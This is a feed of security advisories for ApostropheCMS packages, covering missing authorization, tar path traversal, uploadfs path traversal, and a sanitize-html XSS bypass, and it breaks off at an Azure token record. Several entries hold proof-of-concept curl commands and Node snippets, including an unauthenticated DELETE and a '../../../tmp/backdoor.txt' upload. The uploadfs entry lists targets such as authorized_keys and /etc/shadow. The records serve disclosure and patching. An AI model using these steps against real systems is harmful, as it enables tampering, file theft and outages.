Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: The general public can access @apostrophecms/user objects via a relationship (viewRole is not applied to the general public)
https://kevwire.com/record/CVE-2026-113653
ApostropheCMS: The general public can access @apostrophecms/user objects via a relationship (viewRole is not applied to the general public) (Oct 20, 2026).
This is greatly mitigated by the fact that there is no automatic public REST API for any content type. One has to expressly allow it. However, it does mean that developers can make the mistake of setting up a relationship between a content type like a blog post, and `@apostrophecms/user`. This could potentially expose some sensitive information if templates were written poorly, e.g. if they JSON-serialized the entire object. Note that password hashes are NOT affected because they reside in a separate collection.

The public demo project and its various flavors must be updated first because it inadvertently relies on the bug.
CVSS 6.9 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-xf6w-q65w-4f2w).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113653&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-xf6w-q65w-4f2w: https://github.com/advisories/GHSA-xf6w-q65w-4f2w
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113653&date=2026-10-25
### Impact
Even though it is correctly applied to guests, contributors, etc., `viewRole` is not applied to the general public. This means that a secured content type like `@apostrophecms/user` can in theory be accessed.

This is greatly mitigated by the fact that there is no automatic public REST API for any content type. One has to expressly allow it. However, it does mean that developers can make the mistake of setting up a relationship between a content type like a blog post, and `@apostrophecms/user`. This could potentially expose some sensitive information if templates were written poorly, e.g. if they JSON-serialized the entire object. Note that password hashes are NOT affected because they reside in a separate collection.

The public demo project and its various flavors must be updated first because it inadvertently relies on the bug.

### Patches
4.33.0

### Workarounds
Never create relationships with `@apostrophecms/user` that are intended for non-admin display. If you need a relationship that expresses authorship, create a separate author piece type to publicly represent that.

Affected package ranges reported by GitHub:
apostrophe: < 4.33.0
Action: GitHub lists first patched versions: apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints
https://kevwire.com/record/CVE-2026-113665
ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints (Oct 20, 2026).
The notification module exposes `PATCH` and `DELETE` REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.

As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification.
CVSS 3.7 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-vwwx-px9w-crrc).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113665&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-vwwx-px9w-crrc: https://github.com/advisories/GHSA-vwwx-px9w-crrc
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113665&date=2026-10-25
## Summary

The notification module exposes `PATCH` and `DELETE` REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.

As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification.

---

## Affected Code

**File**

```text
packages/apostrophe/modules/@apostrophecms/notification/index.js
```

```javascript
// restApiRoutes
async patch(req, _id) {
 const dismissed = self.apos.launder.boolean(req.body.dismissed);

 if (dismissed) {
 await self.emit('beforeSave', req, { _id, dismissed });

 await self.db.updateOne(
 { _id },
 {
 $set: { dismissed },
 $currentDate: { updatedAt: true }
 }
 );
 }
},

async delete(req, _id) {
 await self.db.deleteMany({ _id });
}
```

Unlike the `GET` notification route, these handlers do **not** verify:

- Authentication (`req.user`)
- Ownership (`userId === req.user._id`)
- Authorization or permissions

Instead, the supplied `_id` is used directly against the raw MongoDB collection.

---

## Root Cause

The notification REST endpoints perform database operations directly using `self.db` without enforcing authentication or authorization.

While the framework provides permission primitives (`req.user`, ownership checks, and `apos.permission`), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID.

For comparison, the `GET` notification route correctly checks:

```javascript
if (!(req.user && req.user._id)) {
 throw self.apos.error('invalid');
}
```

No equivalent validation exists in the `PATCH` or `DELETE` handlers.

---

## Proof of Concept

### 1. Log in as an administrator

```bash
curl -sS -c admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null

curl -sS \
-b admin_cookies.txt \
-c admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/login/login \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
 "username":"admin",
 "password":"AdminP@ssw0rd123!",
 "session":true
}'
```

---

### 2. Create a notification

```bash
curl -sS \
-b admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/notification \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
 "message":"manual verify test",
 "type":"info"
}'
```

Example response:

```json
{
 "noteId":"p358r7phi2w8l245ww5130uf"
}
```

---

### 3. Verify the notification exists

```bash
curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"
```

Response:

```json
{
 "notifications":[
 {
 "_id":"p358r7phi2w8l245ww5130uf",
 "userId":"i89h844o5n3nbreis0ugusum",
 "message":"manual verify test"
 }
 ],
 "dismissed":[]
}
```

---

### 4. Access the endpoint without authentication

Create a fresh cookie jar containing only the public CSRF cookie:

```bash
rm -f anon_cookies.txt

curl -sS \
-c anon_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null
```

Then send the request **without any authenticated session**:

```bash
curl -i \
-b anon_cookies.txt \
-X DELETE \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" \
-H "X-XSRF-TOKEN: csrf"
```

Response:

```http
HTTP/1.1 200 OK
```

---

### 5. Verify the notification has been deleted

```bash
curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"
```

Response:

```json
{
 "notifications":[],
 "dismissed":[]
}
```

The notification belonging to the authenticated administrator has been successfully deleted by an unauthenticated client.

---

## Impact

An attacker who obtains a valid notification ID can:

- Delete another user's notifications.
- Mark another user's notifications as dismissed.
- Suppress security-related or administrative notifications.

The vulnerability primarily affects **integrity**.

Although notification IDs are generated using CUID2 and are not practically guessable, authorization must not rely on identifier entropy. Any separate information disclosure vulnerability or log exposure that reveals notification IDs would make this issue directly exploitable.

---

## Recommended Fix

Require authentication before processing any modification request.

Additionally, scope all database operations to the authenticated user.

Example:

```javascript
// patch
async patch(req, _id) {
 if (!req.user) {
 throw self.apos.error('forbidden');
 }
 const dismissed = self.apos.launder.boolean(req.body.dismissed);
 if (dismissed) {
 await self.emit('beforeSave', req, { _id, dismissed });
 const result = await self.db.updateOne(
 { _id, userId: req.user._id }, // <-- ownership check
 { $set: { dismissed }, $currentDate: { updatedAt: true } }
 );
 if (!result.matchedCount) {
 throw self.apos.error('notfound');
 }
 }
},
// delete
async delete(req, _id) {
 if (!req.user) {
 throw self.apos.error('forbidden');
 }
 const result = await self.db.deleteMany({ _id, userId: req.user._id });
 if (!result.deletedCount) {
 throw self.apos.error('notfound');
 }
}
```

Similarly, update the `PATCH` handler to verify both authentication and ownership before updating notification records.

---

## Recommendation

Every notification modification endpoint should:

- Require authentication.
- Verify ownership (`userId === req.user._id`).
- Return `403 Forbidden` for unauthorized requests.
- Avoid performing database operations solely using a user-controlled `_id`.

The same authorization checks should also be applied to any internal helper methods (such as `dismiss()`) that modify notification state.

Affected package ranges reported by GitHub:
apostrophe: < 4.33.0
Action: GitHub lists first patched versions: apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS import-export tar guard misses './..' because it is a literal '../' substring test
https://kevwire.com/record/CVE-2026-113664
ApostropheCMS import-export tar guard misses './..' because it is a literal '../' substring test (Oct 20, 2026).
The tar-extraction guard added to `@apostrophecms/import-export` for GHSA-mwxc-m426-3f78 is a literal substring test for `../`, and `./..` does not contain that substring. An entry named `./..` therefore passes the guard, `path.join` normalizes it to the parent of the export directory, and the resulting `fs.WriteStream` opens a directory and emits `EISDIR` with no `error` listener attached, which terminates the Node process.

Confirmed on default-branch HEAD `1bd5d0a7a6fe880836fa75adad6964f1c577d640`, package version `3.6.2`.
CVSS 5.3 (version 4.0; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-97wv-p4xx-c7mg).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113664&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-97wv-p4xx-c7mg: https://github.com/advisories/GHSA-97wv-p4xx-c7mg
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113664&date=2026-10-25
### Summary

The tar-extraction guard added to `@apostrophecms/import-export` for GHSA-mwxc-m426-3f78 is a literal substring test for `../`, and `./..` does not contain that substring. An entry named `./..` therefore passes the guard, `path.join` normalizes it to the parent of the export directory, and the resulting `fs.WriteStream` opens a directory and emits `EISDIR` with no `error` listener attached, which terminates the Node process.

Confirmed on default-branch HEAD `1bd5d0a7a6fe880836fa75adad6964f1c577d640`, package version `3.6.2`.

### Details

`packages/import-export/lib/formats/gzip.js`, in the tar-stream `entry` handler inside `extract(filepath, exportPath)`:

```js
const name = header.name.replace(/\\/g, '/');
if (name.includes('../')) {
 // skipped
}
...
stream.pipe(fs.WriteStream(path.join(exportPath, name)));
```

Two separate problems sit in those four lines. The guard tests the raw entry name for a substring instead of resolving the joined path and requiring containment, and the write stream has no `error` handler, so any stream error becomes an unhandled `'error'` event.

Reaching it needs an account that can import, nothing more. `packages/import-export/modules/@apostrophecms/import-export-page/index.js` exposes `post.importExportImport`, which calls into `lib/methods/import.js`; that handler requires `req.user` and then calls `format.input(exportPath)`, which for a `.gz` upload is `gzip.js` calling `extract()` on the uploaded archive.

### PoC

This is not an end-to-end exploit. What follows is each of the three primitives the crash depends on, executed individually, plus a source-level trace of the route. The chain from `post.importExportImport` to `extract()` was read, not observed.

The guard misses the payload:

```bash
node -e "console.log('./..'.includes('../')); console.log('..'.includes('../')); console.log('a/./..'.includes('../'));"
```

```text
false
false
false
```

`path.join` then resolves it out of the export directory:

```bash
node -e "const path=require('path'); const exportPath='/tmp/exportRoot'; console.log(path.join(exportPath,'./..'));"
```

```text
/tmp
```

And a write stream opened on a directory, with no `error` listener, kills the process rather than failing the request:

```bash
node -e "const fs=require('fs'); const s=fs.createWriteStream('/tmp'); s.write('x'); s.end(); setTimeout(()=>console.log('still alive'),500);"
```

```text
events.js:291
 throw er; // Unhandled 'error' event
 ^

Error: EISDIR: illegal operation on a directory, open '/tmp'
Emitted 'error' event on WriteStream instance at:
 at internal/fs/streams.js:361:12
 at FSReqCallback.oncomplete (fs.js:156:23) {
 errno: -21,
 code: 'EISDIR',
 syscall: 'open',
 path: '/tmp'
}
```

The `events.js:291` frame shows that transcript came off the Node 14 line my audit box had. The unhandled-`error`-event behavior is not version specific, but the exact message on your supported Node versions is worth a re-run.

Source-side confirmation without running anything:

```bash
grep -n "includes('../')" packages/import-export/lib/formats/gzip.js
grep -n "WriteStream" packages/import-export/lib/formats/gzip.js
```

### Impact

An authenticated user who can reach the import UI uploads one crafted archive and takes down the Node process handling it. Every worker that picks up such an archive dies the same way.

### Suggested fix

Resolve the target and require containment, and attach an error handler:

```js
const base = path.resolve(exportPath);
const target = path.resolve(path.join(exportPath, name));

if (target !== base && !target.startsWith(base + path.sep)) {
 stream.on('end', next);
 stream.resume();
 return;
}

if (header.type === 'directory') {
 fsp.mkdir(target).then(next).catch(reject);
} else {
 const out = fs.WriteStream(target);
 out.on('error', reject);
 stream.pipe(out);
 stream.on('end', next);
}
```

The error handler earns its place independently. Any tar entry that lands on an existing directory name has the same effect whether or not traversal is involved.

### Why this is not GHSA-mwxc-m426-3f78

The `name.includes('../')` check is the mitigation shipped for GHSA-mwxc-m426-3f78 / CVE-2026-32731. It stops names carrying the literal `../` sequence. It does not canonicalize the joined path, so `./..` and a bare `..` still get through, and it did not touch the missing `error` listener. This report is about what the substring test leaves behind.

AI assistance was used for the code audit and drafting. The exact guard and `WriteStream` lines in `packages/import-export/lib/formats/gzip.js` at the stated HEAD were manually verified, the import route from the page module through `lib/methods/import.js` into the entry handler were manually traced, and the three Node one-liners were manually ran and copied verbatim.

Affected package ranges reported by GitHub:
@apostrophecms/import-export: < 3.7.0
Action: GitHub lists first patched versions: @apostrophecms/import-export: 3.7.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: Path traversal in uploadfs
https://kevwire.com/record/CVE-2026-113651
ApostropheCMS: Path traversal in uploadfs (Oct 20, 2026).
---

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655
CVSS 3.3 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-gmfx-5g6x-rr72).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113651&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-gmfx-5g6x-rr72: https://github.com/advisories/GHSA-gmfx-5g6x-rr72
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113651&date=2026-10-25
## Summary
The `uploadfs` library's local storage backend does not validate or sanitize user-supplied paths. The `prefixPath()` helper only strips double slashes (`//`) and the backend performs direct string concatenation (`uploadsPath + path`). An attacker can inject `../` sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.

---

## Details

### Root Cause
`packages/uploadfs/uploadfs.js:652-655`

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655

```javascript
function prefixPath(path) {
 // Resolve any double // that results from the prefix
 return (self.prefix + path).replace(/\/\//g, '/');
}
```

`packages/uploadfs/lib/storage/local.js`

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108

```javascript
copyIn: function(localPath, path, options, callback) {
 const uploadPath = uploadsPath + path; // [VULNERABLE]
 return copyFile(localPath, uploadPath, callback);
},
streamOut: function(path, options) {
 return fs.createReadStream(uploadsPath + path); // [VULNERABLE]
},
remove: function(path, callback) {
 const uploadPath = uploadsPath + path; // [VULNERABLE]
 fs.unlink(uploadPath, callback);
```

- `prefixPath()` does **not** normalize paths or reject `../`.
- The local backend concatenates the path directly into the filesystem call.
- Node.js resolves `/app/uploads/../../../tmp/pwned.txt` → `/tmp/pwned.txt`.

---

## Proof of Concept (PoC)

Here is the poc files 
https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk

### Build and run
```bash
docker load 

### Manual reproduction
```bash
# Write outside uploads directory
curl -X POST http://localhost:3000/upload \
 -F "path=../../../tmp/backdoor.txt" \
 -F "file=@-;filename=backdoor.txt" 

---

## Impact

| Capability | Risk |
|------------|------|
| **Arbitrary File Write** | Write to `/etc/cron.d/`, `.ssh/authorized_keys`, or webroot files → **Remote Code Execution** |
| **Arbitrary File Read** | Exfiltrate `/etc/shadow`, application configs, database credentials |
| **Arbitrary File Delete** | Destroy system or application files → **Denial of Service** |

---

## Remediation

Add path containment validation inside `uploadfs` (and every storage backend) before any filesystem operation:

```javascript
const path = require('path');
function safePath(base, target) {
 const resolved = path.resolve(base, target);
 if (!resolved.startsWith(path.resolve(base) + path.sep)) {
 throw new Error('Path traversal blocked: target is outside the intended directory');
 }
 return resolved;
}
```

Affected package ranges reported by GitHub:
uploadfs: < 1.28.0
Action: GitHub lists first patched versions: uploadfs: 1.28.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)
https://kevwire.com/record/CVE-2026-113657
ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS) (Oct 20, 2026).
sanitize-html 2.17.7 introduced `animatesUrlAttribute()` to block SVG animation elements (`animate`, `animateColor`, `animateMotion`, `animateTransform`, `set`) when their `attributeName` targets a URL sink like `href`. However, this check is bypassed when the animation element uses a namespace prefix (e.g., `svg:animate` instead of `animate`).

The `animatesUrlAttribute` function (index.js, line ~832) checks `svgAnimationTags.indexOf(name.toLowerCase())`, where `svgAnimationTags` contains bare local names: `["animate", "animatecolor", "animatemotion", "animatetransform", "set"]`. htmlparser2 passes namespace-prefixed tag names verbatim, so `svg:animate` does not match `animate` in the array, causing the function to return `false` and skip the SMIL XSS protection.
CVSS 3.7 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-374f-7chj-9948).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113657&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-374f-7chj-9948: https://github.com/advisories/GHSA-374f-7chj-9948
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113657&date=2026-10-25
## Summary

sanitize-html 2.17.7 introduced `animatesUrlAttribute()` to block SVG animation elements (`animate`, `animateColor`, `animateMotion`, `animateTransform`, `set`) when their `attributeName` targets a URL sink like `href`. However, this check is bypassed when the animation element uses a namespace prefix (e.g., `svg:animate` instead of `animate`).

## Root Cause

The `animatesUrlAttribute` function (index.js, line ~832) checks `svgAnimationTags.indexOf(name.toLowerCase())`, where `svgAnimationTags` contains bare local names: `["animate", "animatecolor", "animatemotion", "animatetransform", "set"]`. htmlparser2 passes namespace-prefixed tag names verbatim, so `svg:animate` does not match `animate` in the array, causing the function to return `false` and skip the SMIL XSS protection.

Ironically, the function already handles namespace prefixes correctly for the `attributeName` target value (line ~843): `const localName = target.slice(target.lastIndexOf(":") + 1)` — but this same stripping was not applied to the tag name itself.

## Proof of Concept

```javascript
const sanitizeHtml = require("sanitize-html");

const config = {
 allowedTags: false,
 allowedAttributes: false,
 allowedSchemes: ["http", "https"]
};

// Standard animate — BLOCKED by 2.17.7 fix
const blocked = sanitizeHtml(
 ` Click `,
 config
);
console.log("Standard animate:", blocked.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BLOCKED

// Namespace-prefixed animate — BYPASSES the fix
const bypassed = sanitizeHtml(
 ` Click `,
 config
);
console.log("svg:animate:", bypassed.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BYPASS
```

All 5 SMIL animation elements are bypassable with any namespace prefix (`svg:`, `xlink:`, `xml:`, uppercase variants). Tested and confirmed on sanitize-html 2.17.7 from the apostrophe monorepo.

## Impact

Cross-site scripting (XSS) via SMIL animation retargeting. When an application uses `allowedTags: false` (common in rich-text editors that want to preserve SVG), an attacker can inject ` ` to override the `href` attribute of a parent ` ` element after the page loads, causing the link to execute JavaScript when clicked.

## Suggested Fix

Strip the namespace prefix from the tag name before the lookup, matching the pattern already used for the attribute name target:

```javascript
// Before (vulnerable):
if (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {

// After (fixed):
const localTagName = name.toLowerCase().slice(name.lastIndexOf(":") + 1);
if (svgAnimationTags.indexOf(localTagName) === -1) {
```

## Affected Versions

sanitize-html >= 2.17.7 (where the SMIL animation protection was introduced). Earlier versions lack the SMIL protection entirely.

## Credit

Kai Aizen (SnailSploit) — Adversarial AI & Security Research

Affected package ranges reported by GitHub:
sanitize-html: >= 2.17.7, < 2.18.0
Action: GitHub lists first patched versions: sanitize-html: 2.18.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS uploadfs Azure backend leaks account-level SAS token into every public attachment URL (sas: true)
https://kevwire.com/record/CVE-2026-113652
ApostropheCMS uploadfs Azure backend leaks account-level SAS token into every public attachment URL (sas: true) (Oct 20, 2026).
